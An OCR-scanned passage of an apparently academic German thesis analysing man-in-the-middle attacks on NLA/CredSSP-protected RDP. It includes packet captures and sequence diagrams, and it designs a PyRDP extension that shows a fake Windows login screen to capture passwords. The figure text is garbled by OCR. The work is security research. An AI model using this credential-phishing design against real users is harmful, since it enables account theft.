zugreifen will und einen Authenticator (Client-ID und Zeitstempel zusammengesetzt und mit
dem Session-Key (Client — TGS) den der Client vorhin bekommen hat, verschlisselt).

Der Ticket-Granting-Server antwortet mit einer Nachricht, welche das Ticket flr die Ressource,
den Client Namen, die Netzwerkadresse des Clients, ein Session-Key fiir die Kommunikation
mit dem Server auf welchem sich die Ressource befindet (Client — Server), die Lebensdauer und
einen Zeitstempel beinhaltet. Dieses Ticket ist mit dem Master Key der Ressource verschlisselt.
Daneben werden noch weitere Informationen mit der Nachricht Gbermittelt, wie der Session-
Key zur Kommunikation zwischen Client und Ressource, Name der Ressource, Lebensdauer des
Tickets und einen Zeitstempel. Diese Informationen sind mit dem Session-Key (Client — TGS)
verschlisselt. Dann kann der Client dem Server das Ticket sowie einen Authenticator, der mit

Key Distribution
Center (KDC)

Client Authentication to the AS

& | Client authentication to the AS > ‘& Ke !
i L + client + adaress + valiaity @ Msg B & Kres!

% & Msg A Authentication
Server (AS)
Client (C}

L Keos Client Service Authorization
Session key ) —
Signs exchanges Z L + client + address + validity [?]Msgc :
between C and TGS (L.i' .
Requested . ) sz Ko
ey client + timestamp @ Msg D :
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Abbildung 16: Kerberos Authentication (Wikipedia, 2021)
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dem Session-Key fir die Client-Server Kommunikation (Client — Server) verschlUsselt ist,
senden. Danach bekommt der Client den Zugriff auf die Ressource.

5.7 Evaluation

Bei dieser Evaluation wird das CredSSP-Protokoll genauer mit dem NTLMv1
Authentifizierungsmechanismus betrachtet, da es im Vergleich zu NTLMv2 und Kerberos
weniger sicherer ist. Die Machbarkeitsanalyse wurde zusatzlich mit Hilfe von Wireshark (5.7.1
Paketanalyse mit Wireshark) genauer analysiert. Am Ende dieses Kapitel wird bewertet, ob das
Man-in-the-Middle tGber NLA/CredSSP Verbindung mdglich ist oder nicht.

5.7.1 Paketanalyse mit Wireshark

Um eine genauere Analyse des RDP Verbindungsaufbaus und des CredSSP
Authentifizierungsverfahrens durchzufiihren, wurde zuséatzlich eine Paketanalyse mithilfe von
Wireshark durchgefiihrt. Diese soll helfen, um die bisherige theoretische Machbarkeitsanalyse
zu verifizieren. Im Folgenden ist ein Wireshark-Capture (Abbildung 17) eines RDP-
Verbindungsaufbaus zu sehen.

HNo. Time Source Destination Protocol Length Info

435.7279..172.16.60.123 sinv-56045.edu.hsr.ch TLSv1.2 237 Client Hello

44 5.7373.. sinv-56045.edu.hsr.ch 172.16.60.123 TCP 14..ms-wbt-server(3389) » ¢
455.7375.. sinv-56045.edu.hsr.ch 172.16.60.123 TLSv1l.2 242 Server Hello, Certifice
465.7375..172.16.60.123 sinv-56045.edu.hsr.ch TCP 54 57082 > ms-wbt-server(:
47 5.7385..172.16.60.123 sinv-56045.edu.hsr.ch TLSv1.2 668 Client Key Exchange, Ct
48 5.7585.. sinv-56045.edu.hsr.ch 172.16.60.123 TLSv1.2 145 Change Cipher Spec, Fir
495.7595..172.16.66.123 sinv-56045.edu.hsr.ch TPKT 171 Continuation

50 5.7679.. sinv-56045.edu.hsr.ch 172.16.60.123 TPKT 331 Continuation
515.7694..172.16.60.123 sinv-56045.edu.hsr.ch TPKT 699 Continuation

52 5.7782.. sinv-56045.edu.hsr.ch 172.16.60.123 TPKT 171 Continuation
535.7789..172.16.60.123 sinv-56045.edu.hsr.ch TPKT 219 Continuation

54 5.7871.. sinv-56045.edu.hsr.ch 172.16.60.123 TPKT 123 Continuation
555.7874..172.16.60.123 sinv-56045.edu.hsr.ch RDP 571 ClientData

56 5.8060.. sinv-56045.edu.hsr.ch 172.16.60.123 TCP 54 ms-wbt-server(3389) - £
57 5.8185.. sinv-56045.edu.hsr.ch 172.16.60.123 RDP 235 ServerData Encryption:
58 5.8187..172.16.60.123 sinv-56045.edu.hsr.ch T.125 123 erectDomainRequest
595.8188..172.16.60.123 sinv-56045.edu.hsr.ch T.125 123 attachUserRequest

60 5.8264.. sinv-56045.edu.hsr.ch 172.16.60.123 TCP 54 ms-wbt-server(3389) - ¢

£4 F O8ALfA ~fe.. ELAAE ~d.. Lo AL 1778 A7 £FA 193 T 1AarC B e R B L L P N oy ~E ey

Abbildung 17: Wireshark Paketanalyse (Eigene Darstellung)

Wie hier ersichtlich, findet der TLS-Handshake zwischen den Paketnummern 43 - 48 statt und
dann erfolgt die Authentifizierung im TPKT-Protokoll, die zwischen den Paketnummern 49 - 54
liegt. Nach einer erfolgreichen Authentifizierung wird das RDP-Protokoll und die verschiedenen
Kanadle mit dem T.125-Protokoll aufgebaut. Da wir das TPKT-Protokoll nicht entschlisseln
konnten, wurde der CredSSP-Teil (Abbildung 18) in einem separaten Wireshark-Capture
analysiert, welches wir im Internet gefunden haben.

39



No. Time Source Destination Protocol Length Info

123.3671..192.168.1.. 192.168.1.. CredSSP 139 NTLMSSP_NEGOTIATE

13 3.3679..192.168.1.. 192.168.1.. CredSSP 395 NTLMSSP_CHALLENGE

14 3.3820..192.168.1.. 192.168.1.. CredSSP 987 NTLMSSP_AUTH, User: AWAKECODING\Adminisf
16 3.3837.. 192.168.1.. 192.168.1.. |CredSSP S

Abbildung 18: Wireshark CredSSP Capture (Quelle: (FreeRDP, 2021))

Nach dem TLS Handshake wird der CredSSP Teil durchgefiihrt. In diesem Wireshark Capture
wurde der NTLM Authentifizierungsmechanismus genauer analysiert. Im folgenden Kapitel
werden die analysierten Pakete in Sequenzdiagrammen genauer beschrieben und die
wichtigsten Felder genauer erlautert.

5.7.2 Sequenzdiagramm

Das CredSSP-Protokoll mit NTLMv1 Authentifizierung wird anhand von zwei
Sequenzdiagrammen genauer analysiert. Es wird ein Sequenzdiagramm ohne Man-in-the-
Middle und eines mit Man-in-the-Middle beschrieben.

» Auf Grund der Lesbarkeit wird das Sequenzdiagramm «CredSSP mit NTLMv1
Authentifizierung mit MitM» im Anhang E: Sequenzdiagramm mit MITM nochmals grosser
dargestellt.
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Client Server

M 1: TLS ClientHello() ’J_
g 2: TLS ServerHello (CipherSuite), Certificate, ServerHelloDone()

3. TLS ClientkeyExchange, ChangeCipherSpec finished() b

ww 4. TLS ChangeCipherSpec finished()

| 5. TLS encrypted (TSRequest (NTLM NEGOTIATE MESSAGE) )() G

6 TLS encrypted (TSRequest (NTLM CHALLENGE_MESSAGE) )()

7. calculate ChallengeResponse()

8: calculate KeyExchangeKey using client password()

9: Generate RandomiKey()

|
|
|
|
|
|
|
|
10: encrypt Randomkey with KeyExchangelkey() :
|
|
|
|
|
|
|
|
|
|

11: set EncryptedRandomSessionKeyFields & ChallengeResponseFields()

12 set UserMameFields()

13: TLS encrypted (TSRequest (NTLM AUTHENTICATE_MESSAGE) )() >

KA A k| 4| 4|4

14: Verify ChallengeResponse()

15 calculate KeyExchangeKey()

16: decrypt RandomKey with KeyExchangekey()
17: TLS encrypted (TSRequest (Randomkey encrypted (hash of server public key) ))() >
_&8: TLS encrypted (TSRequest (RandomKey encrypted (hash of server public key) ))()

F

19: TLS encrypted (TSRequest (MTLIM Session Key encrypted (user credentials) ))() >

Abbildung 19: CredSSP mit NTLMv1 Authentifizierung (Eigene Darstellung)
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5.7.2.1 CredSSP mit NTLMv1 Authentifizierung

In diesem Abschnitt wird das Sequenzdiagramm (Abbildung 19) ohne Man-in-the-Middle
detailliert beschrieben.

Client Server

] 1. TLS ClientHello() ’J_
g 2. TLS ServerHello (CipherSuite), Certificate, ServerHelloDone()

3 TLS ClientKeyExchange, ChangeCipherSpec finished() ’_
g 4. TLS ChangeCipherSpec finished()

Abbildung 20: CredSSP Teil 1 (Eigene Darstellung)

Wie im CredSSP-Protokoll (5.3 CredSSP) beschrieben, wird wahrend den Schritten 1-4 ein TLS-
Handshake (5.2.2 Handshake) zwischen Client und Server durchgefiihrt. Nach dem TLS-
Handshake werden alle CredSSP-Nachrichten Uber diesen verschlisselten Kanal gesendet.
(Abbildung 20)

|
| 5. TLS encrypted (TSRequest (NTLM NEGOTIATE_MESSAGE) )()

g 6: TLS encrypted (TSRequest (NTLM CHALLENGE_MESSAGE) )()
7. calculate ChallengeResponse() H

e
i |
& calculate KeyExchangeKey using client password() |
|
I |
- |
9: Generate Randomkey() |
< ‘ |
|
B 10: encrypt Randomiey with KeyExchangekey() :
< | |
I 11: set EncryptedRandomSessionkeykields & ChallengeResponseFields() :
| |

e
|
B 12 set UserMNameFields() :
< | |
|

Abbildung 21: CredSSP Teil 2 (Eigene Darstellung)

42



Danach wird SPNEGO fur die Benutzer und Serverauthentifizierung verwendet und wahlt den
entsprechenden Authentifizierungsmechanismus (Abbildung 21). In diesem Beispiel wurde das
NTLMv1 Authentifizierungsmechanismus ausgewahlt und besteht aus den folgenden drei
Messages (5.5.1 Messages):

e NTLM-Negotiate Message

e NTLM-Challenge Message

e NTLM-Authenticate Message

Im Schritt 5 wird die NTLM Authentifizierung mit der NTLM-Negotiate Message vom Client
zum Server initiiert und gibt die gewlinschten Sicherheitsmerkmale der Sitzung an.

Der Server sendet im Schritt 6 eine NTLM-Challenge Message an den Client mit den
vereinbarten Sicherheitsmerkmalen und der vom Server generierten Nonce.

In den Schritten 7-12 werden nur die wichtigsten Felder und Berechnungen der NTLM-
Authenticate-Message fir die spatere Man-in-the-Middle-Analyse ndher betrachtet. Alle
anderen Felder kdnnen von Man-in-the-Middle an Client und Server weitergeleitet werden,
ohne das sie manipuliert werden mussen.

Schritt 7 & 8 => Die beiden Berechnungen von ChallengeResponse und KeyExchangeKey
werden clientseitig mit Hilfe des Client-Passwortes berechnet. Die ChallengeResponse
Berechnungen werden zwischen LMChallengeResponse und NTLMChallengeResponse
unterschieden.

Schritt 9 & 10 => In diesen Schritten wird clientseitig ein RandomKey (5.5.1.5 Ableitung
des Verschlisselungsschlissels) erstellt, welcher dann mit dem vorher berechneten
KeyExchangeKey verschlisselt wird.

Schritt 11 & 12 => Die Felder «EncryptedRandomSessionKeyFields»,
«ChallengeResponseFields» und «UserNameFields» von der NTLM-Authenticate Message
werden mit den vorherberechneten und generierten Werten gefullt.

‘ ‘ 13 TLS encrypted (TSReqguest (NTLM AUTHENTICATE_MESSAGE) )() > |
U 14: Verify ChallengeResponse()

|

|

|

|

|

|

|

|

|

[

| >

15: calculate KeyExchangeKey()

16: decrypt Randomiey with KeyExchangekey()

| >

Abbildung 22: CredSSP Teil 3 (Eigene Darstellung)
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In Schritt 13 wird dann die NTLM-Authenticate Message vom Client an den Server gesendet,
und in den Schritten 14-16 kann der Server mit den gleichen Berechnungen serverseitig
verifizieren, ob der Client das Passwort kennt, da der Server auch den Hash des Client-
Passwortes kennt. (Abbildung 22)
! 17 TLS encrypted (TSRequest (Randomiey encrypted (hash of server public key) ))() bﬁ
I

- TLS encrypted (TSRequest (Randomkey encrypted (hash of server public key) })()

Abbildung 23: CredSSP Teil 4 (Eigene Darstellung)

In den Schritten 17-18 wird der 6ffentliche Schliissel vom vorherigen TLS-Handshake zwischen
den beiden Parteien verifiziert, in dem 6ffentliche Schlissel des Servers gehashed und mit dem
Randomkey verschlisselt Gber den TLS Kanal gesendet wird. Somit soll sichergestellt werden,
dass kein Man-in-the-Middle Angreifer zwischen Client und Server sitzt. (Abbildung 23)

| | -19: TLS encrypted (TSRequest (NTLM Session Key encrypted (user credentials) )){)
[]

Abbildung 24: CredSSP Teil 5 (Eigene Darstellung)

Im letzten Schritt werden die Benutzeranmeldeinformationen mit dem RandomKey
verschlisselt vom Client an den Server gesendet. (Abbildung 24)
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m

1: TLS ClientHello
L 0 L 1.1: TLS ClientHello() |

P
i‘ TLS ServerHello: CipherSuite, Server Certificate, ServerHelloDone|()

—.—<3: TLS ServerHello: CipherSuite, MitM Certificate, ServerHelloDone() |

4. TLS ClientkeyExchange, ChangeCipherSpec finished() >

4 1: TLS ClientkeyExchange, ChangeCipherSpec finished() |
:‘ 5 TLS ChangeCipherSpec finished()

| g 6. TLS ChangeCipherSpec finished()

—

7 TLS encrypted (TSRequest (NTLM NEGOTIATE MESSAGE) )] g,

F——I

8 TLS encrypted (TSRequest (NTLWM NEGOTIATE_MESSAGE) )(
9: TLS encrypted (TSRequest (NTLM CHALLENGE_MESSAGE)

)
g

10: read Challenge()

|
|
|
|
|
Er1 1: TLS encrypted (TSRequest (NTLM CHALLENGE_MESSAGE) )()
1

12; calculate ChallengeResponse()

13: calculate KeyExchangeKey using client password()

14: generate RandomKey()

T
» |
Iy
Iy

15: encrypt RandomKey with KeyExchangeKey()

16 set EncryptedRandomSessionKeyFields &
ChallengeResponseFields()

17 set UserameFields()

_____________________|

!

18: TLS encrypted (TSReguest (MTLM
AUTHENTICATE_WMESSAGE) )() 18.1: decrypt RandomKey (field
"EncryptedRandomSessionKey")()
dl

18.2: TLS encrypted (TSRequest (NTLM
AUTHENTICATE_MESSAGE] )() .

19: verfly ChallengeResponse()

20: calculate KeyExchangeKey()

21: decrypt RandomKey with KeyExchangeKey()

22: TLS encrypted (TSRequest (RandomKey encrypted (hash

1

|

|

|

|

|

|

| of MitM public key) )){()

U 23: TLS encrypted (TSRequest (RandomKey encrypted

(hash of server public key) ))()

24: TLS encrypted (TSRequest (Randomkey
| g encrypted (hash of server public key) ))()

|
[
L‘ i

T

A 4

e ————

Abbildung 25: CredSSP mit NTLMv1 Authentifizierung mit MitM (Eigene Darstellung)
|
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5.7.2.1 CredSSP mit NTLMv1 Authentifizierung mit MitM

In diesem Abschnitt wird das Sequenzdiagramm (Abbildung 25) mit Man-in-the-Middle naher
betrachtet und beschrieben, was der Man-in-the-Middle fiir den Angriff manipulieren muss.

) 1. TLS ClientHello() )
1.1: TLS ClisntHello() - \
P
i TLS ServerHello: CipherSuite, Server Certificate, ServerHelloDong|()

T*S: TLS ServerHello: CipherSuite, MitM Certificate, ServerHelloDone() |

4 TLS ClientKeyExchange, ChangeCipherSpec finished()

4.1 TLS ClientkeyExchange, ChangeCipherSpec finished() o
Ll
] 5. TLS ChangeCipherSpec finished()

_‘ 6. TLS ChangeCipherSpec finished()

Abbildung 26: CredSSP mit MitM Teil 1 (Eigene Darstellung)

Beim TLS-Handshake muss der Man-in-the-Middle das Server-Zertifikat mit seinem eigenen
Zertifikat austauschen und an Client weiterleiten, damit er den Traffic zwischen Client und MitM
lesen kann (siehe Schritt 3 Abbildung 26)

| 7 7LS sncrypted (TSRequest (NTLM NEGOTIATE_MESSAGE) )() ‘
H 8 TLS encrypred (TSRequsst (NTLM NEGOTIATE_MESSAGE) () |

9 TLS encrypted (TSRequest (NTLM CHALLENGE_MESSAGE) J()

\
\ 10: read Challenge()
\
\
\
|

\
\
11 TLS encrypted (TSRequest (NTLM CHALLENGE_MESSAGE) )() \
\
|

)

Abbildung 27: CredSSP mit MitM Teil 2 (Eigene Darstellung)

Beim SPNEGO Handshake kdnnen die ersten zwei Messages von NTLMv1 ohne Probleme
weitergeleitet werden. (siehe Schritte 7 — 11 Abbildung 27)

: 12: calculate ChallengeResponse() |_|_|

13: calculate KeyExchangeKey using client password()

A

14: generate RandomKey()

A

15: encrypt RandomKey with KeyExchangeKey()

A

16 set EncryptedRandomSessionKeyFields &
ChallengeResponseFields()

i

17 set UserMNameFields()

18: TLS encrypted (TSRequest (NTLM
AUTHENTICATE_MESSAGE) ){) n 18.1: decrypt RandomKey (field
V‘ "EncryptedRandomSessionKey")()

el

|‘

Abbildung 28: CredSSP mit MitM Teil 3 (Eigene Darstellung)
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In Schritt 18 schlagt der Man-in-the-Middle fehl oder kennt den RandomKey nicht, weil er
mit KeyExchangeKey verschlisselt ist und kann somit den Traffic nicht entschlisseln. Der
Man-in-the-Middle kennt das Client-Passwort nicht, weil es bei diesem

Authentifizierungsmechanismus nicht Gber den Kanal gesendet wird. (Abbildung 28)
| 182 TLS encryptad (TSRaguast (MTLM !
-'-.JJ:I-{'_'-IJ'II.'.»‘\',F_MII'I‘.'-:'EM.':F_I_|u.l I '_!

19 varly ChalangeRespanse])

20; calculate KeyExchangakeyl

21 IT!EI'!’DI RandomBey with Kaﬁxchlnuelﬂx

Abbildung 29: CredSSP mit MitM Teil 4 (Eigene Darstellung)

Wenn die NTLM-Authenticate-Message ohne Manipulation des MitM weitergeleitet wird, kann
der Server erfolgreich verifizieren, andernfalls schlagt die Verifizierung fehl und der Server gibt
eine Fehlermeldung zuriick. (Abbildung 29)

| 22: TLS encrypted (TSRequest [Randomiey encrypted (hash |
| of MitM public key) )0 1

[
Lagi

23: TLS encrypted [TERequest (Randomiey encrypted J’
{hash of server public key) )i

-
24: TLS encrypted [TSRaquest (Randomi<ay | |
T ancrypled (hash of sersar public key) 13} i

!

1

|

A

i |
] | |

Abbildung 30: CredSSP mit MitM Teil 5 (Eigene Darstellung)

In Schritt 23 scheitert der Man-in-the-Middle erneut, weil er nicht an den Zufallsschlissel
herankommt, da dieser mit dem KeyExchangeKey verschlisselt ist, welcher wiederum vom
Client Passwort abgeleitet wurde. Die grau markierten Stellen werden nicht mehr ausgefihrt,
weil der Public Key des Server-Zertifikates nicht Gbereinstimmt, mit dem Public Key der fur die
TLS-Verbindung benutzt wurde, da der Man-in-the-Middle sein eigenes Zertifikat hat und
somit einen anderen Public Key, und der Server die Verbindung trennt. (Abbildung 30)
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5.7.3 Fazit

» Nach dieser Analyse wurde festgestellt, dass ein Man-in-the-Middle Uber eine direkte
NLA/CredSSP-Verbindung nicht moglich ist. Der Grund ist das Client-Passwort (siehe
Schritt 18), das dem Man-in-the-Middle nicht bekannt ist. Bei
Authentifizierungsmechanismen wie Kerberos oder NTLM ist das Kennwort nur dem Server
und dem Client bekannt und wird nicht Gber den Kanal gesendet. Es wird zur Verifizierung
und Berechnung von Client und Server verwendet und ist notwendig fir die Man-in-the-
Middle Attacke. Bei der Analyse wurde jedoch ein weiterer moglicher funktionierender
Man-in-the-Middle-Angriff identifiziert, den wir versuchen werden in Python zu
implementieren. Dieser Angriff wird im nachsten Kapitel «Alternative MitM-Variante»
ausfuhrlicher beschrieben.

5.8 Aufgetretene Probleme

5.8.1 Wiresharkanalyse

In diesem Kapitel werden die Probleme bei der Inspektion (9.4 Wireshark - CredSSP
Paketanalyse) des RDP-Datenverkehrs mit Wireshark beschrieben.

e Der private Schliissel konnte nicht aus dem vorhandenen Zertifikat extrahiert werden,
da das Passwort von Zertifikat nicht bekannt war, und daher wurde ein selbstsigniertes
Zertifikat mit dem Tool openSSL erstellt.

e Server musste neu konfiguriert werden, damit das oben selbst erzeugte Zertifikat als
Standardzertifikat fir RDP-Verbindungen benutzt wird. Damit konnte spater der TLS-
Kanal entschlisselt und in Wireshark angezeigt werden.

e Perfect Forward Secrecy generiert mehrere Sitzungsschlissel und das Ziel ist, dass der
Datenverkehr nicht nachtraglich entschlisselt werden kann, selbst wenn der private
Schlissel bekannt ist. Daher mussten die vorhandene Cipher-Suite-Liste auf dem
Windows Server angepasst werden, damit Perfect Forward Secrecy nicht mehr
unterstutzt wird und danach der RDP-Verkehr mit dem privaten Schliissel aus dem
Server-Zertifikat in Wireshark entschlisseln werden kann.

5.9 Alternative Man-in-the-Middle Variante

Da wir wahrend der Analyse zum Schluss gekommen sind, dass man eine NLA/CredSSP
Verbindung nicht intercepten kann, da die Session Keys vom Passwort des Clients abgeleitet
werden und dieses nicht Giber das Netz ibertragen wird, und danach der Public Key des Servers
mit dem Session Key verschlisselt und verifiziert wird, haben wir nach einer anderen
Méglichkeit gesucht, um eine RDP Verbindung, die mit NLA/CredSSP geschitzt ist, trotzdem
zu intercepten. Das eigentliche Problem ist, dass wir das Client Passwort nicht kennen und
somit die Session-Keys nicht ableiten kénnen. Deshalb haben wir uns Uberlegt, wie wir an
dieses Passwort kommen kénnen, und sind auf die Idee gekommen, dass wir dem Client einen
Fake-Login Screen anzeigen kénnen. Dieser Fake-Login Screen wird beim Client dann als erstes
angezeigt und der Client kann dann dort das Passwort eingeben, und so kommen wir an das
Passwort und dann koénnen wir damit zum Server eine mit NLA/CredSSP geschutzte
Verbindung aufbauen (Abbildung 31).
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5.9.1 Beschreibung

Da man, wie oben in der Analyse beschrieben, keine NLA/CredSSP-Verbindung vom Client Gber
den MitM zum Server aufbauen kann, da dem MitM das Passwort nicht bekannt ist und die
abgeleiteten und verschlisselten Session-Keys benoétigt werden, um im CredSSP Teil den Public
Key des Servers zu verifizieren, bauen wir in dieser Variante statt vom Client Giber den MitM
zum Server, nur vom MitM zum Server eine NLA/CredSSP Verbindung auf. So gibt es keine
Probleme mehr mit dem Public Key des Servers, da der Key bei der TLS Verschlisselung und
bei der CredSSP Authentifizierung derselbe ist. Vom Client zum MitM wird stattdessen eine
Verbindung mit Enhanced Security aber ohne CredSSP aufgebaut. So muss sich der Client erst
nach Aufbau der Verbindung authentifizieren und da dann die RDP Channels bereits aufgebaut
wurden, kann man das Passwort abfangen. Damit man an das Passwort vom Client kommt,
wird dann nach Aufbau der Verbindung zwischen Client und MitM ein Fake-Login-Screen
angezeigt, der aussieht wie ein Standard-Anmeldebildschirm von Windows, bei dem der Client
dann den Benutzernamen und das Passwort eingeben kann und dieses wird dann an den MitM
Ubermittelt resp. die Tastenanschldage werden aufgezeichnet und daraus wird das Passwort
konstruiert.

Wenn der MitM dann das Passwort hat, kann er eine CredSSP Verbindung zum Server
aufbauen. Dieses Mal ist das kein Problem, da man das Passwort kennt und so die Session Keys
berechnen kann und das PubAuthKey Feld in CredSSP richtig fillen kann, so dass der Server
die Verbindung nicht beendet. Wenn diese Verbindung steht, leitet der MitM die eingehenden
Pakete vom Server an den Client weiter und die eingehenden Pakete vom Client an den Server
weiter. Der MitM muss dafir alle Pakete entschlisseln mit den ausgehandelten Schliisseln und
muss es mit dem richtigen Schlissel wieder verschlisseln.

Diese Methode unterscheidet sich zur urspriinglichen Variante, da nur zwischen dem Server
und dem MitM eine NLA/CredSSP Verbindung aufgebaut wird und nicht vom Client tber den
MitM zum Server. Da die Enhanced Security RDP Verbindung ohne NLA/CredSSP keine
Mechanismen zur Sicherstellung, dass kein Man-in-the-Middle dazwischen ist, hat, kann man
mithilfe eines angezeigten falschen Login Screen das Passwort abfangen und kann dieses dann
verwenden um eine NLA/CredSSP Verbindung zum Server aufzubauen.

Mit dieser Variante kann man auch einen Man-in-the-Middle Angriff starten, wenn auf dem
Server NLA aktiviert ist resp. erzwungen wird.
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Abbildung 31: Alternative MitM-Variante (Eigene Darstellung)
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6 Analyse: PyRDP

In diesem Kapitel wird der PyRDP-Code genauer analysiert. Es wird hier grob die Codestruktur
von PyRDP, die verwendeten Libraries und die wichtigsten Methoden und Klassen beschrieben,
welche fur diese Arbeit relevant sind.

6.1 Code-Struktur

Die Code-Struktur von PyRDP ist in mehrere Module aufgeteilt. Diese werden im Folgenden
grob beschrieben bezliglich ihres Zwecks und ihrer Abhangigkeiten.

(Aufgrund der Anzahl der vorhandenen Klassen und der komplexen Struktur kann das Tool
nicht in Form eines Klassendiagramms dargestellt werden. Da die Abhangigkeiten der
einzelnen Module untereinander stark ausgepragt sind, ist es auch nicht moglich, ein lesbares
Package-Diagramm aufzuzeigen.)

Der Inhalt und die Ausfihrungen des folgenden Abschnitts beruhen sich auf folgenden
Quellen: (pyrdp, 2021)

Packgage Beschreibung Abhéangigkeit
core Es enthalt Code, der im gesamten Projekt verwendet wird. | e enum

Dabei handelt es sich um eigenstandige Primitive und | e logging
Hilfsfunktionen, die wiederverwendbar sind und die| e mitm

folgenden Aufgaben enthalten: e pdu
e Kodierung und Dekodierung
e Hilfsfunktionen fur Stream-Parsing und

Konvertierung von Bytes in String und umgekehrt
e Verwaltung der Konfigurationsdateien
e Twisted Primitive
e Abstrakte Klassen und Schnittstellen sowie Basistypen

enum Es stellt Konstanten fiir das RDP-Protokoll bereit. Dazu
gehdren:
e RDP Nachrichtentypen
e Tastatur-Scan-Codes
o Bitfeld-Flags fur Nachrichten und
Protokolldateneinheiten (PDUs).

layer Es ist der Kern des PyRDP Netzwerkstapels. Die | e core
verschiedenen Protokolle von RDP sind in verschiedene | ¢ enum
Layers unterteilt und wird auch fir die Abstraktion auf der | e pdu

Festplatte verwendet. e parser

e logging

e security

logging Es ist fur die Protokollierung zustandig und soll fir eine | e enum
konsistente Protokollierung sorgen. e layer

e parser
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mcs

mitm

parser

player

recording

security

ui

Es bietet eine Abstraktion fir die verschiedenen Kanale von
RDP.

Es ist die Hauptkomponente und ist flr das Abfangen und
Manipulieren von Verbindungen zustandig. Fur jede Schicht
der Protokolle gibt es Abfangfunktionen, Hooks zum
Uberpriifen und Andern von Daten. AuBerdem stellt sie eine
Anwendungslogik  fiir den MITM-Server und den
Verbindungsaufbau mit dem Zielserver bereit.

Es zentralisiert Klassen zur Darstellung der unterstitzten
RDP-Nachrichtentypen. Diese PDUs koénnen von einer
Verbindung gelesen und geschrieben werden und sind die
Hauptansicht des RDP-Datenstroms.

Es ist fir die RDP-Implementierung zustandig. Es ist fur das
Wire-Protokoll zustandig, das von rohen Bytes in PDUs und
von PDUs zuriick in rohen Bytes umwandelt. Parser werden
nach der Protokollschicht von RDP unterteilt, auf der sie
arbeiten.

Es enthalt Code und Logik fiir das GUI von PyRDP und ist fur
die Darstellung der aktuellen RDP-Sitzung in verschiedenen
Formen verantwortlich.

Es bietet die Mdglichkeit, eine RDP-Sitzung zur spateren
Wiedergabe auf die Festplatte zu exportieren.

Es regelt die im RDP-Protokoll verwendete Kryptografie wie
z.B. RSA und RC4.

Es enthdlt zusatzliche Primitive, die zum Player-Modul
gehoren.

pdu
security
layer
pdu

enum
layer
parser
pdu
logging
core
recording
mcs
security
enum

core
enum
pdu
security
logging

parser
ui
logging
core
enum
pdu
mitm
layer
enum
layer
pdu
logging
parser
enum
core
layer
logging
parser
pdu
logging

Tabelle 2: PyRDP - relevante Packages
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Fir diese Arbeit ist das mitm-Modul das wichtigste, da dort die Verbindung zum effektiven
Server hergestellt wird und die verschiedenen Kanale von RDP aufgebaut werden.

6.1.1 Observer Pattern

Das PyRDP-Projekt verwendet das Observer-Pattern, um Uber Zustandsanderungen zu
informieren und die abhangigen Objekte automatisch zu aktualisieren. Da es sich um ein Man-
in-the-Middle-Tool handelt, ist es wichtig, (iber die verschiedenen Anderungen von Client und
Server informiert zu werden.

Das Pattern wird verwendet, um die verschiedenen Nachrichten aus den Layern von RDP wie z.
B. X224, MCS zu erkennen. Die Nachrichtentypen der verschiedenen Layers von RDP werden
in einem Enum gespeichert. Fir jeden Layer gibt es einen Observer und dieser wird mit der
Enum-Datei des entsprechenden Layers gemappt. Beim Empfang der PDU wird geprift, ob
eine der Nachrichten mit der in den Enum-Dateien definierten Layer tibereinstimmt. Wenn sie
Ubereinstimmen, fahrt das PyRDP-Projekt mit dem entsprechenden Layer fort und sendet die
Bytes an Client oder Server. Es wartet dann auf die passende PDU fiir weitere Aktionen.

6.2 Verwendete Libraries

Hier beschreiben wir kurz die wichtigsten Bibliotheken des PyRDP-Projektes, die bereits
vorhanden waren, fir die Erweiterung zusatzlich hinzugefiigt wurden und bei der Analyse
bericksichtigt, aber nicht verwendet wurden.

Library Beschreibbung

Twisted Es ist ein asynchrones Netzwerkframework fiir Internetanwendungen
fur Client und Server. Es unterstitzt auf unterschiedliche Weise TCP,
UDP, SSL/TLS, IP-Multicast, Unix-Domain-Sockets, HTTP, SMTP und
viele weitere Protokolle. (PyPi, 2021)

OpenSSL Es ist ein Wrapper-Modul um die OpenSSL-Bibliothek und enthalt
Methoden und Objekte fiir die SSL-Verbindung. Zusatzlich enthalt es
die  Fehlercodes von OpenSSL fir den umfangreichen
Fehlerbehandlungsmechanismus. (PyPi, 2021)

Impacket Es ermdglicht Zugriff auf die Netzwerkpakete und kann einfache und
konsistente Weise Netzwerkpakete erstellen und zuweisen. (PyPi, 2021)

TKINTER Es ist ein GUI-Toolset und Widget Library fur Python. (PyPi, 2021)
requests-credssp | Es ermdglicht eine CredSSP Authentifizierung auf HTTPS und
unterstitzt NTLM und Kerberos. (PyPi, 2021)

Tabelle 3: PyRDP - verwendete Libraries
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Im folgenden Abschnitt wird die Verwendung im PyRDP Code beschrieben.

6.2.1 Twisted

Der Kern der Twisted Library ist der Reaktor fiir Event Loops. Er wartet auf Ereignisse oder
Nachrichten von Client oder Server und leitet sie weiter. Es bietet Schnittstellen fir
Netzwerkkommunikation, Threading und Eventdispatcher. Hauptsachlich wird es fiir den TCP
Verbindungsaufbau verwendet.

6.2.2 OpenSSL

Es wird fur die TLS Verbindung und fiir das Kreieren von Private Key und Public Key verwendet.

6.2.3 Impacket

Diese Library wurde zusatzlich fir die CredSSP-Authentifizierung hinzugefligt, die spater in
Kapitel 7.1 Fake Login Screen ndher beschrieben wird. Es bietet Funktionen flr die GSS-API,
SPNEGO und NTLM.

6.2.4 TKINTER

Diese Library wurde firr die Implementierung von dem Fake-Login-Screen verwendet, welche
spater im Kapitel 7.1 Fake Login Screen genauer beschrieben wird.

6.2.5 requests-credssp

Es unterstitzt auch die CredSSP-Authentifizierung, da die dieses Library nur Gber die HTTPS
verwendet wird, wurde diese bei der Analyse abgelehnt.
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6.3 Wichtigste Methoden/Klassen

Hier werden die wichtigsten Klassen und Methoden kurz beschrieben, die spater fir die
alternative Man-in-the-Middle-Variante angepasst werden mussen.

Fir die alternative Man-in-the-Middle-Variante ist es wichtig, das Passwort Uiber einen Fake-
Login Screen vom Client auszulesen (siehe 5.9 Alternative Man-in-the-Middle Variante). Es wird
in den folgenden Klassen und Methoden aus dem PyRDP-Projekt ausgelesen:

BasePathMITM.py (Methode=>handleClientLogin)

def loginAttempt(self):
if self.state.loggedIn or self.state.inputBuffer == "":
return
self state.credentialsCandidate = self.state.inputBuffer
self.state.inputBuffer = ""
self.log.info("Credentials attempt from heuristic: %(credentials_attempt)s"”, {
“credentials_attempt": (self.state.credentialsCandidate)

)
DeviceRedirectionMITM.py (Methode=>handleClientLogin)

def handleClientLogin(self):

Handle events that should be triggered when a client logs in.

